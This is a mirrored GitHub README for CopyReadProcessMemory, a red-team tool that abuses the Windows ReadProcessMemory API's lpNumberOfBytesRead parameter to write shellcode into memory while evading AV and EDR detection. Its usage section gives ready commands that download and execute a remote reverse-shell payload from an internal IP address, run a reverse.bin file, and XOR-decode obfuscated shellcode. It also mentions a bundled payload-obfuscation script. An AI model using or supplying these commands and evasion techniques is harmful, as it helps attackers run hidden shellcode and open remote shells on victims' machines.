mirror of
https://github.com/chmod760/CopyReadProcessMemory
synced 2026-06-06 15:24:30 +00:00
chmod760
93 lines
3.0 KiB
Markdown
93 lines
3.0 KiB
Markdown
# CopyReadProcessMemory
|
||
|
||
## Description
|
||
|
||
CopyReadProcessMemory expoits the miss-configuration/vulnerability present on the API Windows method *ReadProcessMemory* discovered by *DarkCoderSc*.
|
||
|
||
It exploits the nature of the in/out pointer param named **lpNumberOfBytesRead*, that enables to write into process memory without calling common API methods to do so such as memcpy, this is perfect for AV and EDR detection evasion
|
||
|
||
```C++
|
||
BOOL ReadProcessMemory(
|
||
[in] HANDLE hProcess,
|
||
[in] LPCVOID lpBaseAddress,
|
||
[out] LPVOID lpBuffer,
|
||
[in] SIZE_T nSize,
|
||
[out] SIZE_T *lpNumberOfBytesRead <----------------------------- Vulnerable param
|
||
);
|
||
```
|
||
|
||
This tool can directly be used on red team operations as a POC.
|
||
|
||
## Download
|
||
|
||
Just go the release section of the repo and download the latest version
|
||
|
||
```
|
||
https://github.com/chmod760/CopyReadProcessMemory/releases/tag/Stable-1.0
|
||
```
|
||
|
||
## Usage
|
||
|
||
The main options of the program are the next:
|
||
|
||
```Powershell
|
||
CopyReadProcessMemory.exe -h
|
||
|
||
Usage:
|
||
CopyReadProcessMemory [OPTIONS]
|
||
|
||
Modes (choose exactly one):
|
||
-s, --string_inject <STRING> Inject a raw string
|
||
-f, --file_path <FILE> Load payload from file
|
||
-t, --remote_payload <TARGET> Use remote payload
|
||
|
||
Options:
|
||
-e, --execute Execute payload after processing
|
||
-x, --xor XOR key to decode the shellcode
|
||
-h, --help Show this help
|
||
-V, --version Show version
|
||
```
|
||
|
||
<img width="1436" height="337" alt="image" src="https://github.com/user-attachments/assets/912ed5e6-5d1a-40a3-9865-fae43718e969" />
|
||
|
||
|
||
There are three possible surfaces for attack scenarios (at least):
|
||
|
||
### Remote shellcode in-memory inyection & execution
|
||
|
||
```Powershell
|
||
CopyReadProcessMemory.exe -t http://192.168.1.140:8081/reverse.bin -e
|
||
```
|
||
|
||
### In terminal line shellcode inyection & execution
|
||
|
||
```Powershell
|
||
CopyReadProcessMemory.exe -s "Copy Using ReadProcessMemory"
|
||
```
|
||
|
||
### From external file shellcode inyection & execution
|
||
|
||
|
||
```Powershell
|
||
CopyReadProcessMemory.exe -f "C:\Users\Public\Download\reverse.bin" -e
|
||
```
|
||
|
||
### Payload De-obfuscation
|
||
|
||
**From an attacker’s perspective, dropping raw shellcode on a system usually means instant detection and failure. Because of this, attackers often obfuscate or encrypt their shellcode to avoid being flagged by AV/EDR solutions, which requires decrypting or de-obfuscating it in memory. To support this workflow, I added an extra feature that can de-obfuscate the payload using the `-x` argument, allowing you to provide the key used for de-xor’ing it.**
|
||
|
||
```Powershell
|
||
CopyReadProcessMemory.exe -f C:\Users\Public\Downloads\reverse.bin_xored -e -x chmod760
|
||
```
|
||
|
||
It can also be applied to the other features described earlier in this document.
|
||
|
||
Additionally, a Python script is included to help with payload obfuscation.
|
||
|
||
|
||
### Credits
|
||
|
||
Big kudos to Jean-Pierre LESUEUR (DarkCoderSc) for discovering the pointer vulnerability and posting it to the unprotect.it project, you can contact him here:
|
||
|
||
https://unprotect.it/users/public/profile/darkcodersc/
|